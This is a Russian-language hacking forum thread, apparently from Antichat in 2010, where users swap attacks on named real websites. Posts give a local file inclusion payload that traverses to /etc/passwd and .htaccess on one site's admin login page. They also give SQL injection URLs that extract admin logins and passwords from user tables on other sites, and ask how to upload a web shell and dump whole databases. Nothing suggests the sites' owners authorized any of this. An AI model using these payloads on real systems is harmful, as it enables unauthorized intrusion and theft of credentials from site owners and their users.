24.01.2010, 21:50
|
|
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
С нами:
9555536
Репутация:
95
|
|
http://dmironova.ru/admin/login.php?lang=hjhj
Warning: include_once(/home/dmironova/dmironova.ru/docs/admin/language/hjhj/admin/total.php) [function.include-once]: failed to open stream: No such file or directory in /home/dmironova/dmironova.ru/docs/admin/function.php(1) : eval()'d code on line 179
инклуд?
|
|
|
24.01.2010, 21:55
|
|
Участник форума
Регистрация: 25.04.2007
Сообщений: 176
С нами:
10024314
Репутация:
739
|
|
Сообщение от jecka3000
инклуд?
http://dmironova.ru/admin/login.php?lang=/../../../../../../../../../../../../../../etc/passwd%00
|
|
|
|
24.01.2010, 21:55
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
Сообщение от jecka3000
инклуд?
Да, инклуд.
Код:
http://dmironova.ru/admin/login.php?lang=../../.htaccess%00
|
|
|
|
25.01.2010, 16:22
|
|
Познающий
Регистрация: 14.03.2009
Сообщений: 38
С нами:
9031567
Репутация:
2
|
|
Собственно получил доступ к админке одного сайта, с расширением php файлы не хочет кушать , пробывал заливать с расширением php.jpg но тоже не помогает (так же можно залить в .doc .pdf форматах).. такое часто у меня случается , может есть какие либо способы залить шелл ещё ?
|
|
|
|
25.01.2010, 16:36
|
|
Новичок
Регистрация: 09.01.2010
Сообщений: 3
С нами:
8599317
Репутация:
0
|
|
Database Version: 5.0.32-Debian_7etch5-log
Проблемма такова делаю выборку :
_http://www.skr.su/?div=spec&id=1344+UNION+SELECT+1,2,3,4,5,6,7,8,9,1 0,11,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x2d2d2d2d,log in,0x2d2d2d2d,pass,0x2d2d2d2d),0x71),0x71),13,14,1 5,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31, 32,33,34,35,36,37,38,39,40,41,42,43,44,45,46+FROM+ users+LIMIT+1,1--
показывает такой пароль админа (їљџ·„‚7) , причем смотрите сами такие пароли с аброкадаброй у вех пользователей .
кто что думает ?
Последний раз редактировалось aka_google; 25.01.2010 в 16:38..
|
|
|
|
27.01.2010, 20:10
|
|
Познавший АНТИЧАТ
Регистрация: 14.01.2008
Сообщений: 1,165
С нами:
9644006
Репутация:
3099
|
|
Сообщение от aka_google
Database Version: 5.0.32-Debian_7etch5-log
Проблемма такова делаю выборку :
_http://www.skr.su/?div=spec&id=1344+UNION+SELECT+1,2,3,4,5,6,7,8,9,1 0,11,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x2d2d2d2d,log in,0x2d2d2d2d,pass,0x2d2d2d2d),0x71),0x71),13,14,1 5,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31, 32,33,34,35,36,37,38,39,40,41,42,43,44,45,46+FROM+ users+LIMIT+1,1--
показывает такой пароль админа (їљџ·„‚7) , причем смотрите сами такие пароли с аброкадаброй у вех пользователей .
кто что думает ?
зато вобла ловится 
http://www.skr.su/?div=spec&id=-1344+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,hex(unhe x(password)),13,14,15,16,17,18,19,20,21,22,23,24,2 5,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41, 42,43,44,45,46+FROM+forum_user--
|
|
|
|
25.01.2010, 17:07
|
|
Новичок
Регистрация: 18.12.2009
Сообщений: 13
С нами:
8629789
Репутация:
0
|
|
http://hardon.ru/index.php?action=getCat&catid=110+union+select+1,2 ,3,4,5,6,7--
инъекция или нет?
|
|
|
|
25.01.2010, 17:19
|
|
Reservists Of Antichat - Level 6
Регистрация: 12.06.2008
Сообщений: 157
С нами:
9428066
Репутация:
1668
|
|
2 GinTonic
Код:
http://hardon.ru/index.php?action=getCat&catid=110+union+select+version()
<input type="checkbox" name="vendor[1]" value="4.1.25-log" />4.1.25-log<br />
|
|
|
|
27.01.2010, 19:27
|
|
Познавший АНТИЧАТ
Регистрация: 14.01.2008
Сообщений: 1,165
С нами:
9644006
Репутация:
3099
|
|
Сообщение от GinTonic
инъекция или нет?
поигрался бы с логикой:
http://hardon.ru/index.php?action=getCat&catid=110+and+1=1
http://hardon.ru/index.php?action=getCat&catid=110+and+1=2
|
|
|
|
26.01.2010, 00:57
|
|
Познающий
Регистрация: 14.03.2009
Сообщений: 38
С нами:
9031567
Репутация:
2
|
|
Такая ситуация есть сайт со скулей,но стоит лимит на вывод , БД довольнотаки большая , есть ли у кого мысли как сразу всё слить?шелл пока что не удалось залить =/
Последний раз редактировалось erolom; 26.01.2010 в 02:09..
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
